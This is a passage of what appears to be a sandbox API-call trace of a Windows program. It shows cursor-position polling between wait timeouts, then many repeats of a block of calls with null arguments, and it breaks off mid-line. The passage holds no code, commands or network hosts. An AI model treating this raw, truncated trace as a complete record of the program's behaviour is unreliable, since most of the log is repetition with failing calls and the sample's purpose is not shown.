[0162.033] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xbb6) returned 0x102 [0165.325] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0165.325] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=807, y=453)) returned 1 [0165.325] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xbb6) returned 0x102 [0168.549] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0168.549] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=807, y=453)) returned 1 [0168.549] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xbb6) returned 0x102 [0171.695] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0171.695] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=1199, y=839)) returned 1 [0171.695] LoadImageA (hInst=0x400000, name=0xc, type=0x0, cx=0, cy=0, fuLoad=0x0) returned 0x0 [0171.695] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e088 | out: hHeap=0x2220000) returned 1 [0171.695] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e060 | out: hHeap=0x2220000) returned 1 [0171.695] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d878 | out: hHeap=0x2220000) returned 1 [0171.695] DestroyWindow (hWnd=0x40134) returned 1 [0171.695] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0171.700] NtdllDefWindowProc_A (hWnd=0x40134, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0171.701] LoadBitmapA (hInstance=0x400000, lpBitmapName="PC") returned 0x0 [0171.701] ImageList_Add (himl=0x0, hbmImage=0x0, hbmMask=0x0) returned -1 [0171.701] WinWatchNotify () returned 0x0 [0171.701] timeGetTime () returned 0x113fb75 [0171.701] WinWatchOpen () returned 0x3102d0 [0171.701] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.701] LockResource (hResData=0x0) returned 0x0 [0171.702] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.702] WinWatchNotify () returned 0x0 [0171.702] timeGetTime () returned 0x113fb76 [0171.702] WinWatchOpen () returned 0x310310 [0171.702] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.702] LockResource (hResData=0x0) returned 0x0 [0171.702] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.702] WinWatchNotify () returned 0x0 [0171.702] timeGetTime () returned 0x113fb76 [0171.702] WinWatchOpen () returned 0x310410 [0171.702] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.702] LockResource (hResData=0x0) returned 0x0 [0171.702] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.702] WinWatchNotify () returned 0x0 [0171.702] timeGetTime () returned 0x113fb76 [0171.702] WinWatchOpen () returned 0x340018 [0171.702] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.702] LockResource (hResData=0x0) returned 0x0 [0171.702] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.702] WinWatchNotify () returned 0x0 [0171.702] timeGetTime () returned 0x113fb76 [0171.702] WinWatchOpen () returned 0x340058 [0171.702] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.702] LockResource (hResData=0x0) returned 0x0 [0171.703] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.703] WinWatchNotify () returned 0x0 [0171.703] timeGetTime () returned 0x113fb77 [0171.703] WinWatchOpen () returned 0x340078 [0171.703] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.703] LockResource (hResData=0x0) returned 0x0 [0171.703] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.703] WinWatchNotify () returned 0x0 [0171.703] timeGetTime () returned 0x113fb77 [0171.703] WinWatchOpen () returned 0x340138 [0171.703] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.703] LockResource (hResData=0x0) returned 0x0 [0171.703] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.703] WinWatchNotify () returned 0x0 [0171.703] timeGetTime () returned 0x113fb77 [0171.703] WinWatchOpen () returned 0x340178 [0171.703] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.703] LockResource (hResData=0x0) returned 0x0 [0171.703] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.703] WinWatchNotify () returned 0x0 [0171.703] timeGetTime () returned 0x113fb77 [0171.703] WinWatchOpen () returned 0x340198 [0171.703] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.703] LockResource (hResData=0x0) returned 0x0 [0171.703] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.703] WinWatchNotify () returned 0x0 [0171.703] timeGetTime () returned 0x113fb77 [0171.703] WinWatchOpen () returned 0x3401b8 [0171.703] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.703] LockResource (hResData=0x0) returned 0x0 [0171.703] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.703] WinWatchNotify () returned 0x0 [0171.703] timeGetTime () returned 0x113fb77 [0171.703] WinWatchOpen () returned 0x3401d8 [0171.703] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.703] LockResource (hResData=0x0) returned 0x0 [0171.703] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.704] WinWatchNotify () returned 0x0 [0171.704] timeGetTime () returned 0x113fb78 [0171.704] WinWatchOpen () returned 0x3401f8 [0171.704] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.704] LockResource (hResData=0x0) returned 0x0 [0171.704] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.704] WinWatchNotify () returned 0x0 [0171.704] timeGetTime () returned 0x113fb78 [0171.704] WinWatchOpen () returned 0x340218 [0171.704] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.704] LockResource (hResData=0x0) returned 0x0 [0171.704] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.704] WinWatchNotify () returned 0x0 [0171.704] timeGetTime () returned 0x113fb78 [0171.704] WinWatchOpen () returned 0x340238 [0171.704] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.704] LockResource (hResData=0x0) returned 0x0 [0171.704] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.704] WinWatchNotify () returned 0x0 [0171.704] timeGetTime () returned 0x113fb78 [0171.704] WinWatchOpen () returned 0x340258 [0171.704] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.704] LockResource (hResData=0x0) returned 0x0 [0171.704] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.704] WinWatchNotify () returned 0x0 [0171.704] timeGetTime () returned 0x113fb78 [0171.704] WinWatchOpen () returned 0x340278 [0171.704] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.704] LockResource (hResData=0x0) returned 0x0 [0171.704] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.704] WinWatchNotify () returned 0x0 [0171.704] timeGetTime () returned 0x113fb78 [0171.704] WinWatchOpen () returned 0x340298 [0171.704] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.704] LockResource (hResData=0x0) returned 0x0 [0171.704] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.704] WinWatchNotify () returned 0x0 [0171.704] timeGetTime () returned 0x113fb79 [0171.705] WinWatchOpen () returned 0x3402b8 [0171.705] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.705] LockResource (hResData=0x0) returned 0x0 [0171.705] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.705] WinWatchNotify () returned 0x0 [0171.705] timeGetTime () returned 0x113fb79 [0171.705] WinWatchOpen () returned 0x3402d8 [0171.705] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.705] LockResource (hResData=0x0) returned 0x0 [0171.705] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.705] WinWatchNotify () returned 0x0 [0171.705] timeGetTime () returned 0x113fb79 [0171.705] WinWatchOpen () returned 0x3402f8 [0171.705] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.705] LockResource (hResData=0x0) returned 0x0 [0171.705] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.705] WinWatchNotify () returned 0x0 [0171.705] timeGetTime () returned 0x113fb79 [0171.705] WinWatchOpen () returned 0x340318 [0171.705] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.705] LockResource (hResData=0x0) returned 0x0 [0171.705] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.705] WinWatchNotify () returned 0x0 [0171.705] timeGetTime () returned 0x113fb79 [0171.705] WinWatchOpen () returned 0x340338 [0171.705] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.705] LockResource (hResData=0x0) returned 0x0 [0171.705] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.705] WinWatchNotify () returned 0x0 [0171.705] timeGetTime () returned 0x113fb79 [0171.705] WinWatchOpen () returned 0x340358 [0171.705] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.705] LockResource (hResData=0x0) returned 0x0 [0171.705] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.705] WinWatchNotify () returned 0x0 [0171.705] timeGetTime () returned 0x113fb7a [0171.705] WinWatchOpen () returned 0x340378 [0171.705] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.706] LockResource (hResData=0x0) returned 0x0 [0171.706] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.706] WinWatchNotify () returned 0x0 [0171.706] timeGetTime () returned 0x113fb7a [0171.706] WinWatchOpen () returned 0x340398 [0171.706] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.706] LockResource (hResData=0x0) returned 0x0 [0171.706] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.706] WinWatchNotify () returned 0x0 [0171.706] timeGetTime () returned 0x113fb7a [0171.706] WinWatchOpen () returned 0x3403b8 [0171.706] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.706] LockResource (hResData=0x0) returned 0x0 [0171.706] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.706] WinWatchNotify () returned 0x0 [0171.706] timeGetTime () returned 0x113fb7a [0171.706] WinWatchOpen () returned 0x3403d8 [0171.706] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.706] LockResource (hResData=0x0) returned 0x0 [0171.706] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.706] WinWatchNotify () returned 0x0 [0171.706] timeGetTime () returned 0x113fb7a [0171.706] WinWatchOpen () returned 0x3403f8 [0171.706] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.706] LockResource (hResData=0x0) returned 0x0 [0171.706] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.706] WinWatchNotify () returned 0x0 [0171.706] timeGetTime () returned 0x113fb7a [0171.706] WinWatchOpen () returned 0x340418 [0171.706] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.706] LockResource (hResData=0x0) returned 0x0 [0171.706] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.706] WinWatchNotify () returned 0x0 [0171.706] timeGetTime () returned 0x113fb7a [0171.706] WinWatchOpen () returned 0x340438 [0171.706] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.706] LockResource (hResData=0x0) returned 0x0 [0171.706] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.707] WinWatchNotify () returned 0x0 [0171.707] timeGetTime () returned 0x113fb7b [0171.707] WinWatchOpen () returned 0x340458 [0171.707] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.707] LockResource (hResData=0x0) returned 0x0 [0171.707] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.707] WinWatchNotify () returned 0x0 [0171.707] timeGetTime () returned 0x113fb7b [0171.707] WinWatchOpen () returned 0x340478 [0171.707] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.707] LockResource (hResData=0x0) returned 0x0 [0171.707] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.707] WinWatchNotify () returned 0x0 [0171.707] timeGetTime () returned 0x113fb7b [0171.707] WinWatchOpen () returned 0x340498 [0171.707] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.707] LockResource (hResData=0x0) returned 0x0 [0171.707] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.707] WinWatchNotify () returned 0x0 [0171.707] timeGetTime () returned 0x113fb7b [0171.707] WinWatchOpen () returned 0x3404b8 [0171.707] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.707] LockResource (hResData=0x0) returned 0x0 [0171.707] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.707] WinWatchNotify () returned 0x0 [0171.707] timeGetTime () returned 0x113fb7b [0171.707] WinWatchOpen () returned 0x3404d8 [0171.707] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.707] LockResource (hResData=0x0) returned 0x0 [0171.707] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.707] WinWatchNotify () returned 0x0 [0171.707] timeGetTime () returned 0x113fb7b [0171.707] WinWatchOpen () returned 0x3404f8 [0171.707] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.707] LockResource (hResData=0x0) returned 0x0 [0171.707] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.707] WinWatchNotify () returned 0x0 [0171.707] timeGetTime () returned 0x113fb7c [0171.708] WinWatchOpen () returned 0x340518 [0171.708] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.708] LockResource (hResData=0x0) returned 0x0 [0171.708] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.708] WinWatchNotify () returned 0x0 [0171.708] timeGetTime () returned 0x113fb7c [0171.708] WinWatchOpen () returned 0x340538 [0171.708] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.708] LockResource (hResData=0x0) returned 0x0 [0171.708] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.708] WinWatchNotify () returned 0x0 [0171.708] timeGetTime () returned 0x113fb7c [0171.708] WinWatchOpen () returned 0x340558 [0171.708] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.708] LockResource (hResData=0x0) returned 0x0 [0171.708] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.708] WinWatchNotify () returned 0x0 [0171.708] timeGetTime () returned 0x113fb7c [0171.708] WinWatchOpen () returned 0x340578 [0171.708] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.708] LockResource (hResData=0x0) returned 0x0 [0171.708] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.708] WinWatchNotify () returned 0x0 [0171.708] timeGetTime () returned 0x113fb7c [0171.708] WinWatchOpen () returned 0x340598 [0171.708] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.708] LockResource (hResData=0x0) returned 0x0 [0171.708] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.708] WinWatchNotify () returned 0x0 [0171.708] timeGetTime () returned 0x113fb7c [0171.708] WinWatchOpen () returned 0x3405b8 [0171.708] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.708] LockResource (hResData=0x0) returned 0x0 [0171.708] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.708] WinWatchNotify () returned 0x0 [0171.708] timeGetTime () returned 0x113fb7d [0171.708] WinWatchOpen () returned 0x3405d8 [0171.708] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.708] LockResource (hResData=0x0) returned 0x0 [0171.709] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.709] WinWatchNotify () returned 0x0 [0171.709] timeGetTime () returned 0x113fb7d [0171.709] WinWatchOpen () returned 0x3405f8 [0171.709] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.709] LockResource (hResData=0x0) returned 0x0 [0171.709] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.709] WinWatchNotify () returned 0x0 [0171.709] timeGetTime () returned 0x113fb7d [0171.709] WinWatchOpen () returned 0x340618 [0171.709] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.709] LockResource (hResData=0x0) returned 0x0 [0171.709] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.709] WinWatchNotify () returned 0x0 [0171.709] timeGetTime () returned 0x113fb7d [0171.709] WinWatchOpen () returned 0x340638 [0171.709] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.709] LockResource (hResData=0x0) returned 0x0 [0171.709] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.709] WinWatchNotify () returned 0x0 [0171.709] timeGetTime () returned 0x113fb7d [0171.709] WinWatchOpen () returned 0x34afb8 [0171.709] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.709] LockResource (hResData=0x0) returned 0x0 [0171.709] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.709] WinWatchNotify () returned 0x0 [0171.709] timeGetTime () returned 0x113fb7d [0171.709] WinWatchOpen () returned 0x34afd8 [0171.709] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.709] LockResource (hResData=0x0) returned 0x0 [0171.709] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.709] WinWatchNotify () returned 0x0 [0171.709] timeGetTime () returned 0x113fb7e [0171.709] WinWatchOpen () returned 0x34aff8 [0171.709] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.709] LockResource (hResData=0x0) returned 0x0 [0171.710] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.710] WinWatchNotify () returned 0x0 [0171.710] timeGetTime () returned 0x113fb7e [0171.710] WinWatchOpen () returned 0x34b018 [0171.710] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.710] LockResource (hResData=0x0) returned 0x0 [0171.710] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.710] WinWatchNotify () returned 0x0 [0171.710] timeGetTime () returned 0x113fb7e [0171.710] WinWatchOpen () returned 0x34b038 [0171.710] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.710] LockResource (hResData=0x0) returned 0x0 [0171.710] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.710] WinWatchNotify () returned 0x0 [0171.710] timeGetTime () returned 0x113fb7e [0171.710] WinWatchOpen () returned 0x34b058 [0171.710] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.710] LockResource (hResData=0x0) returned 0x0 [0171.710] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.710] WinWatchNotify () returned 0x0 [0171.710] timeGetTime () returned 0x113fb7e [0171.710] WinWatchOpen () returned 0x34b078 [0171.710] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.710] LockResource (hResData=0x0) returned 0x0 [0171.710] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: 